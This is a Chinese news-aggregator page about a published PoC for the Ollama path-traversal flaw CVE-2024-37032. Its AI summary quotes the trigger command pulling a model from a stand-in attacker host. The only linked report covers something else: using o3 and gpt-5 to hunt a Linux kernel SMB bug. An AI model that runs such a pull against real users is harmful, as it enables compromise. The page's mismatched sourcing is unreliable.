跳到正文
热点事件持续更新

Ollama路径穿越漏洞PoC公开

1 篇报道1 个报道来源4 小时前更新

先了解这件事

AI 综述

安全站点kitploit公开了Ollama路径穿越漏洞CVE-2024-37032的PoC与复现分析。该漏洞的触发条件是受害者执行`ollama pull attacker.com/malicious-model`,从攻击者控制的地址拉取恶意模型。 同一来源还演示了借助`llm` CLI调用gpt-5进行代码审计的流程,并以用o3发现Linux内核SMB实现远程零日漏洞CVE-2025-37899的思路为例;这部分内容与Ollama漏洞的利用结论无关。

AI 根据报道生成 · 1 小时前更新

报道时间线

沿着报道,了解事件的不同侧面。

10月25日
  1. Sploitus 利用聚合
    用 o3 复现 CVE-2025-37899:Linux 内核 SMB 实现远程零日漏洞的发现过程

    文章基于「如何用 o3 发现 Linux 内核 SMB 实现中的远程零日漏洞 CVE-2025-37899」这一思路,演示了借助 `llm` CLI 调用 gpt-5 进行代码审计的流程。

本事件热度走势

还没有足够的连续观测数据,暂不绘制趋势。